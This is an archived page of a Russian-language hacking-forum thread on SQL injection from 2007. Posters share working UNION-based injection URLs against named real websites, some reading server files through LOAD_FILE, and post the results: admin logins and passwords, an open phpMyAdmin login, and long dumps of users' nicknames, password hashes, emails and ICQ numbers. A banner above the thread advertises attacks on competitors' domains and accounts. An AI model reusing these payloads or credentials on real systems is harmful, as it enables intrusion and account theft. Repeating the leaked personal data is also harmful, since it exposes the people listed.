УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 379 из 1242

379

Опции темы

Поиск в этой теме

Опции просмотра

#3781

22.11.2007, 19:23

v1ru$

Постоянный

Регистрация: 17.03.2007

Сообщений: 336

Провел на форуме:
3766085

Репутация: 576

Отправить сообщение для v1ru$ с помощью ICQ

Код:

http://www.cgc onn.com/content/article.php?id=-77'+union+select+1,2,user,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+mysql.user/*

Интересный логин-pma,логинимся в http://www.cgc onn.com/phpmyadmin под логином pma без пасса)

Код:

http://www.cgc onn.com/content/article.php?id=-77'+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables/*

Таблицы хранятся в другой бд,юзаем переход через точку
Определяем БД

Код:

http://www.cgcon n.com/content/article.php?id=-77'+union+select+1,2,table_schema,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables+where+table_name='users'/*

Код:

http://www.cg conn.com/content/article.php?id=-77'+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+parts.users+limit+1,10/*

Код:

http://www.cgco nn.com/content/article.php?id=-77'+union+select+1,2,concat(name,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+webauth.user_pwd/*

и т.д и т.п

Снова скулы

#3782

22.11.2007, 19:42

fntms

Новичок

Регистрация: 21.11.2007

Сообщений: 15

Провел на форуме:
65178

Репутация: 21

Отправить сообщение для fntms с помощью ICQ

Снова скулы

хренпроссышь что за контора - админка /admin/
http://abvgroup.ru/part.php?id=-1%20union%20select%20login,password%20from%20users %20/*

вот думал бабла надыбать помелочи..нашел скулу..
http://sportingbet.enetpulse.com/?g=ts&stats=true&sid=2007&lid=-5%20union%20select%201,2,LOAD_FILE(char(47,104,111 ,109,101,47,109,105,110,105,115,105,116,101,115,47 ,115,112,111,114,116,105,110,103,98,101,116,46,101 ,110,101,116,112,117,108,115,101,46,99,111,109,47, 116,115,95,115,116,97,116,115,46,112,104,112)),4,5 ,6,7,8,9,10,11%20from%20mysql.user/*мож кто допетрит..

клубинка какая-то ..впадлу пасы декодить ...
http://www.clubinka.ru/release.php?rdl=6%20AND%201=19%20union%20select%20 1,2,3,AES_DECRYPT(AES_ENCRYPT(login,0x71),0x71),AE S_DECRYPT(AES_ENCRYPT(pass,0x71),0x71),6,7,8,9%20f rom%20admin%20/*

http://www.toptur.ru/?pp=&cat=-73'%20union%20select%201,AES_DECRYPT(AES_ENCRYPT(v ersion(),0x71),0x71),3,4/*

софт какой-то ...да пох какой софт.. таблиц не нашел
http://nextaz.com/showsoft.php?id=-8247%20union%20select%201,version(),3,4,5,6,7,8,9, 10,11,12%20/*

#3783

22.11.2007, 21:51

TheSoul

Познающий

Регистрация: 12.11.2007

Сообщений: 94

Провел на форуме:
4789789

Репутация: 71

http://newkurkino.ru

http://newkurkino.ru/modules.php?op=modload&name=News&file=article&sid=-1+union+select+1,concat_ws(0x2F,version(),database %20(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21/*

4.0.26-log/udb223/Uwww223S@localhost

пиво..течет рекой..

#3784

22.11.2007, 22:56

fntms

Новичок

Регистрация: 21.11.2007

Сообщений: 15

Провел на форуме:
65178

Репутация: 21

пиво..течет рекой..

вот сайтец..нормально его тоже можно ковырнуть.. вообще есть контора одна на украине..издательство..так у них там много подвязано сайтов в сети.. журнал какой-то выпускают..домашникй кампутер..если кому интересно, стучите в асю..там есть лазейка..и шел залить можна...
http://www.hotline.ua/pr/193-11-248/?v=438%20AND%201=3%20union%20select%201,2,3,host,5 ,6,7,8,9,10,11,12,13,12,15,16,17,LOAD_FILE('/server/htdocs/'),19,20,21,22,23,24,25,26,27,28,29,30,31%20from%2 0mysql.user/*&t=0&o=0&d=0&p=0

Снова UA
Сайт какой-то турфирмы..НО! хостится он на серваке каким-то образом связанным с правительством.. (по словам одного из админов одного сайта, точно также хостящегося на етом серваке..может и песдит..мне пох)
http://turi100.net/reviews/?review_id=225%20and%201=3)%20union%20select%201,2 ,3,version(),5,6/*версия мускула позволяет мне опустить рассказы о существующих таблицах..читаем отзывы туристов..в каментах..

Вот это сайт..у меня вообще слабость к базам данных..особенно телефонным..но тут, к сожелению, ничего не срослось, народ, прошу помощи у тебя, будет доступ к базе - отпишитесь
http://www.btk-online.ru/rest/?&r=2749%20union%20select%20concat(user,char(124), password,char(124),host)%20from%20mysql.user%20/*

Ждите продолжения

#3785

23.11.2007, 00:04

Red_Red1

Участник форума

Регистрация: 12.01.2007

Сообщений: 262

Провел на форуме:
4608122

Репутация: 874

Отправить сообщение для Red_Red1 с помощью ICQ

Белвнешэкономбанк

Код:

http://bveb.by/currency/pmetals.php?Metal=-2+union+select+1,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),3,4,5,6/*&DateStamp=2007-11-20%2000:00:00

А вот для входа юзеров там савсем другой сайтик.... интересно и там порыться но это уже другая история

#3786

23.11.2007, 00:18

EST a1ien

Участник форума

Регистрация: 02.04.2006

Сообщений: 273

Провел на форуме:
1269624

Репутация: 114

Отправить сообщение для EST a1ien с помощью ICQ

Сайт сервера la2 - стоит java эмуль

список табличек

Код:

http://www.l2planet.ru/?go=files&type=3%20union%20select%201,2,table_name,4,5,6,7%20from%20information_schema.tables/*

список пользователей + пасы

Код:

http://www.l2planet.ru/?go=files&type=3%20union%20select%201,2,account,newpass,oldpass,6,7%20from%20pass_ls_l2pl/*

пасы зашифрованы таким образом

PHP код:


		
			
base64_encode(pack("H*",sha1(utf8_encode($password))));

такчто расшифровывать можно долго(или я неправ)

LOAD_FILE - запрещен
кавычки запрещены - меджик квотес (приходится юзать char())
Вобщем нечего более интересного добыть не удалось.

Последний раз редактировалось EST a1ien; 23.11.2007 в 00:45..

#3787

23.11.2007, 02:44

Dark[<X>]D1ablo

Новичок

Регистрация: 21.10.2007

Сообщений: 5

Провел на форуме:
23460

Репутация: 9

Код:

http://www.hpol.org/transcript.php?id=-92+union+select+1,table_name,version(),4,database()+from+iNFORMATION_SCHEMA.TABLES+limit+0,2/*

version=mysql 5.0.27
user=ro@localhost
database= listen

Код:

http://www.tat.pl/sztuka_ld.php?id=-776+union+select+1,table_name+from+INFORMATION_SCHEma.tables/*

version= 5.0.33

Последний раз редактировалось Dark[<X>]D1ablo; 23.11.2007 в 03:24..

#3788

23.11.2007, 03:24

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

Провел на форуме:
6905523

Репутация: 1174

2 Dark[<X>]D1ablo

Код:

http://www.hpol.org/transcript.php?id=-92+union+select+1,concat(table_schema,0x3a,table_name),3,4,5+from+INFORMATION_SCHEMA.columns+where+column_name=0x70617373776F7264+limit+0,1/*

hpol:administrator

Код:

http://www.hpol.org/transcript.php?id=-92+union+select+1,concat_ws(0x3a,name,password),3,4,5+from+hpol.administrator+limit+0,1/*

Tao Huang:test
Admin:hpol
Jerry Goldman:jumber
stubaker:admin
Tony Becker:shooter

Такой вид скули более интересен =)

#3789

23.11.2007, 03:53

K1nD[e]R

Участник форума

Регистрация: 16.06.2007

Сообщений: 133

Провел на форуме:
1877761

Репутация: 237

Отправить сообщение для K1nD[e]R с помощью ICQ

Код:

http://www.correl.ru/intresting.php?id=-557+union+select+1,2,3,table_name,5,6+from+information_schema.columns+where+column_name=0x70617373776f7264/*

Код:

8 баз
administrators.
cinema_accounts.
flashchat_rooms.
flashchat_users.
forum_users.
ibf_forums.
ibf_members.
user.

1 база [administrators.]
login: password:

andy pereslavl
mishasun 2038134

2 База [forum_users]

Nick: password: mail:

Код:

Самозванец/4321/sam@nifiga.net.
  Asa/231274/alseal74@mail.ru.
  Киса/2005/123.
  Ёлка/4321/nafiesta@mail.ru.
  Alpik/0221/homyak-info@mail.ru.
  Geniy/123789/werty.
  Taret/987321/asdf.
  Neon/456321/lkjh.
  КОНТРА/7777/hok@kontra.ru.
  Рамиль/bubas/slon-ram@mail.ru.
  niagara/1234/zxc.
  Ирина/13579/isaluk82@mail.ru.
  дима/killer/prebludok@mail.ru.
   Киса/2005/123.
   Ёлка/4321/nafiesta@mail.ru.

3 база [ibf_members]

Name: Password: email: icq:

Код:

  Guest//test@localhost.com.
        asa/d744696db9cf57a74b7cba61daa3899c/alseal74@mail.ru/257957338.
        clon/c5b2cebf15b205503560c4e8e6d1ea78/tigrenich@mail.ru.
        deva/c5b2cebf15b205503560c4e8e6d1ea78/deva_80@bk.ru.
        Jene4ka/633909fd73441abd86c2e934fe82b3aa/kitten@joker.botik.ru/110310110.
        nata1/827ccb0eea8a706c4c34a16891f84e7b/nata1_77@bk.ru/.
        Lena/04f8c854cb60b1b9f23cafe7501ccf79/superlenok1981@mail.ru.
        Lidia/71b3b26aaa319e0cdf6fdb8429c112b0/lidia04@mail.ru.
        ninok/c5b2cebf15b205503560c4e8e6d1ea78/ninok@list.ru.
        Вера/c5b2cebf15b205503560c4e8e6d1ea78/svaga@bk.ru.
        repic/c5b2cebf15b205503560c4e8e6d1ea78/repic@bk.ru.
        Аяна/60d75b56ccd0786104966d0923c7e2f1/aynochka@yandex.ru.
        isa/a8698009bce6d1b8c2128eddefc25aad/isaluk82@mail.ru.
        Iricka/1c8d2ab0dceeab4ee9df6b408662dfc3/ir1976@rambler.ru.
        алена/d70ebd4b4a1e63cbe210c5deb84866a0/samoshka25@mail.ru.
        Tanya/040b7cf4a55014e185813e0644502ea9/tanya123@mail.ru/312780559.
        E-dgin/a8e8a72b3a601405353123027f0aaf8a/e-dgin@yandex.ru/.
        КОНТРА/900293ddcbf0e10d40732e5f2d41cdb5/kiut-red@mail.ru.
        КОНТРОЛЕР/cc57497c5e0d93bab6b3ca140b33428a/kiut-red@mail.ru/.
        Синяя роза/3f366c879a71e9ba217568f1d2a0a8c5/kiska_i@inbox.ru/.
        Collins/a822c1b51da67e079bf1c461f85cb1cb/collins2004@list.ru/329017195.
        дедушкин   ТАБАК!!!!!!/4297f44b13955235245b2497399d7a93/kolaskin@mail.ru/111603986.
        dolla®/4bc74efcbe25b1e867ef19a1f56872ca/djwax@imail.ru.
        Dulcineya/4ed88732144d08f24d136825383759a0/doctor-65@mail.ru.
        pilligrim/baf4d8a3668a117e64bb4881639826a7/pilligrim3000@mail.ru.
        Konstantin/14dc0375ed631ce6f134abbf042fd845/zztopper@bk.ru.
        Тайский/e10adc3949ba59abbe56e057f20f883e/andrey2332@yandex.ru/.
        АНИКЕН/007769e839806c0a6376c5a18e4bd7a5/kit23@mail.ru.
        ЭНИКЕН/cc57497c5e0d93bab6b3ca140b33428a/kit23@mail.ru.
        БИ О/cc57497c5e0d93bab6b3ca140b33428a/kit23@mail.ru.
        ЛО!/cc57497c5e0d93bab6b3ca140b33428a/lo@inbox.ru.
        viola/e10adc3949ba59abbe56e057f20f883e/viola@wuw.ru.
        Ш УРА/007769e839806c0a6376c5a18e4bd7a5/shura@mail.ru.
        SHУРА/cc57497c5e0d93bab6b3ca140b33428a/shura@mail.ru.
        ДИМОН 25/cc57497c5e0d93bab6b3ca140b33428a/ser@mail.ru.
        МАКСВЕЛЛ/f343bfc68486ab3c37e9c3e4e151b277/cd-102@list.ru/202414832.
        Miledy/633909fd73441abd86c2e934fe82b3aa/crazylisi4ka@bk.ru.
        Black_Rose/a19e98b06127b9f0cce5e0d7a1851438/moth@pereslavl.ru/169378935.
        ЖЕЛАННАЯ/a7d6985a6157a276a7d2d7e75e9aadec/katyshka17@mail.ru.
        ЖЕЛАННАЯ/cc57497c5e0d93bab6b3ca140b33428a/katia15@mail.ru.
        Nata/c68f1a64b81f32be5fd83587de848e89/nata@tm-net.ru.
        sexygerl/827ccb0eea8a706c4c34a16891f84e7b/tigrenich@mail.ru.
        Yulja/a4e28cb962c7595d2a06563521dce4d6/zuya@joker.botik.ru.
        ГЕСС/cc57497c5e0d93bab6b3ca140b33428a/gess@mail.ru.
        Алексей Сергеев/f497b7c74a361d9212acec1808a85918/sergeev71@mail.ru.
        зайка/cc57497c5e0d93bab6b3ca140b33428a/zaiaka@mail.ru.
        МАЛЬВИНА/e6c7c37b7b3982be6ec9328480f7130b/panda20@mail.ru.
        ana/827ccb0eea8a706c4c34a16891f84e7b/natik555_05@mail.ru/.
        Stasya/389861652a2f1a07a1074bd0727efe81/stasya@mail.ru/53407902.
        Pesi/599481398359afbd99278929eb02f420/pesi@rambler.ru/.
        LonelySoul/c39c35b146e4f2b8bd051f87ed702143/nadezhda83@yandex.ru/192811435.
        helen/89e064f5b7ed7f3ad2def76de9375b69/helen14@land.ru.
        saz5x/e10adc3949ba59abbe56e057f20f883e/saz5x@mail.ru.
        гадя петрович хренова/cc57497c5e0d93bab6b3ca140b33428a/cd-102@mail.ru.
        Убитый/e9fb2eda3d9c55a0d89c98d6c54b5b3e/nlv_1975@pochta.ru.
        nawiht/ee3c517129c3af53d31ec4465dc3ebd0/nawiht@mail.ru/336587053.
        Nik/baf22ddb7b1a317d860f48638254e2e9/ryabishkinav@mail.ru.
        voron/bb9fbb5184689258492a7b9e308462c2/pritulo@rambler.ru.
        OttO/81dc9bdb52d04dc20036dbd8313ed055/propk@rambler.ru.
        ангело4ек/23804091115791b3b331fd1e1fa7355d/angelochek1989@mail.ru/268806236.
        Alexander1/449a8249933eeeff8d5e192a10bba221/alexfom81@yahoo.com.
        kostyan/f7c637636b330a0a350140173e0ee9e1/kpashkulsky@gmail.com.
        ИРБИС/65609ad84147ff8dea5ad068c66a1447/leo.65@bk.ru.
        *turklin*/a598fb9489bb74c48129214fc3f95c52/andy2032@yandex.ru.
        Правовая защита и консалтинг/827ccb0eea8a706c4c34a16891f84e7b/mail@l-p-c.ru/.
        Елена/555f2b90974eb8d447626037de2d4c18/00137@rambler.ru.
        Екатерина/d93591bdf7860e1e4ee2fca799911215/00121@rambler.ru.
        1megastar/f3f2dbe8093c29b9adda8b13ed45a06a/andy2032@narod.ru.
        -kisa-/3bdf27c799f2a88ef2acd8148b0a6730/cats4me@narod.ru.
        Darlinga/e10adc3949ba59abbe56e057f20f883e/os_revizor@mail.ru.
        webmoneyjob/343b1c4a3ea721b2d640fc8700db0f36/webmoneyjob@yahoo.com.
        *yan*/7219b9b60d9d70a9a7014369d88ebefe/andy2032@ya.ru.
        Ada/a152e841783914146e4bcd4f39100686/love494@rambler.ru.
        Девственница/cc57497c5e0d93bab6b3ca140b33428a/devstvennitsa90@mail.ru/.
        ogqxeefb/700a9c6f1350c602633df5f8d682ca77/egenomgaul@zzheh.ru.
        tvjaznx/8aa150a326ea92cdc8c427ddce5f7e8c/ykfujvd@odblcf.ru.
        zlswpu/eddd10c5af29183c2f33b484f7fdeee7/ejsklotqn@ltufwyds.ru.
        lqtmzopbtu/23e7640c6fc4a8864725d2591c7168df/fpxqkg@ljrjkjadrr.ru.
        ocxlc/02812bd32dbf58e31b6d8bb328077be0/czhumtabyr@tuogia.ru.
        tjflkycln/05fa3e07e8f3e69cf1fce3d0820e01cd/xmdayod@eqsonpiglt.ru.
        ibiccju/e0e6795666966ddad025fa651d17c284/svlgnsgqqo@ngvurw.ru.
        NUR/827ccb0eea8a706c4c34a16891f84e7b/allhobby@yandex.ru.
        wbmco/3a9cd4fb04b65e7611a941c81d468898/mdmkoppfvs@gmslxemmu.ru.
        mnpfnyddlw/4e7c8fb0c2fbe4e5b08e612fcb5386a4/kgpnmazp@ifywpkhx.ru.
        ocrzecf/9f629790a33a632b73e073ea6760d4af/otynj@ygdxgqp.ru.
        ndgnswryz/4dc2ca96bafc5e88169004dd1ebdc1bb/skvnrlcm@euepqiba.ru.
        skjbfcgwqc/ffcba34286b1b73e37c7b4a85793e4c1/tjugg@fqpnoyqh.ru.
        tehnyk3/e10adc3949ba59abbe56e057f20f883e/tehnyk3@mail.ru.
        jyvdyly/9c6d6f61bfa71179977706739046bafc/flwdq@fwozo.ru.
        bkhhus/30517df6d4910b09f49d86e82323ac45/hvfgrsk@bveeassmhv.ru.
        myfduygp/62715d5a8e44894cd6486c9fe44a041a/didur@jgzcij.ru.
        hewduiipd/f30c512e247edca62f39f84e6289d4ea/fdqokmamzu@gxndhu.ru.
        xgatmbll/c2ae1896b1682440c04725cecada70a4/ermrog@hnpyfw.ru.
        mssoft/e10adc3949ba59abbe56e057f20f883e/mssoft@bk.ru.
        mdbgfqcb/240a2cc4464bc9038e9017a8a6722e82/vptcoymxe@uhuyo.ru.

4 база [cinema_accounts]
Name: Login: Password:

Код:

 Артем Первин/versus/08616ab08c5f7c9bc9b08ff2e827c20b.
Дмитрий/Felix/81dc9bdb52d04dc20036dbd8313ed055.
Оксана/Oksana/d0dbe915091d400bd8ee7f27f0791303.
Сергей Алпаткин/asa/6885e793942458d3ba11f083f35d8178.

#3790

23.11.2007, 09:59

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Отправить сообщение для fRg с помощью ICQ

Румыния

mednews.ro - медицина

Код:

http://www.mednews.ro/arh.php?searchtype=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11/*&searchterm=a

4.1.22-standard:mednews_mednews:mednews_mamb1@localhost (нижняя строка таблицы)
ФТП: ftp.mednews.ro

esp2000.ro - Electronica Azi

Код:

http://www.esp2000.ro/articol.php?id_ar=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18/*

4.0.27-log:electronicaazi:electronicaazi@localhost

interactiunietnice.ro

Код:

http://www.interactiunietnice.ro/articol.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*

5.0.27-standard-log:interact_main:interact_root@localhost

51 таблица:

Код:

http://www.interactiunietnice.ro/articol.php?id=-1+union+select+1,2,aes_decrypt(aes_encrypt(table_name,0x71),0x71),4,5,6,7+from+information_schema.tables+limit+50,1/*

Наша таба - phpbb_users - интересные поля:

Код:

username,user_password,user_level,user_email,user_icq,user_website,user_aim,user_yim,user_msnm,user_occ

Словарики хилые, поэтому данные на админа только так [login:MD5(pass):email]:

Код:

redactor:92a7593c6875ef1bdf0b4c779dd3efd6:redactia@interactiunietnice.ro

Страница 379 из 1242

379

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход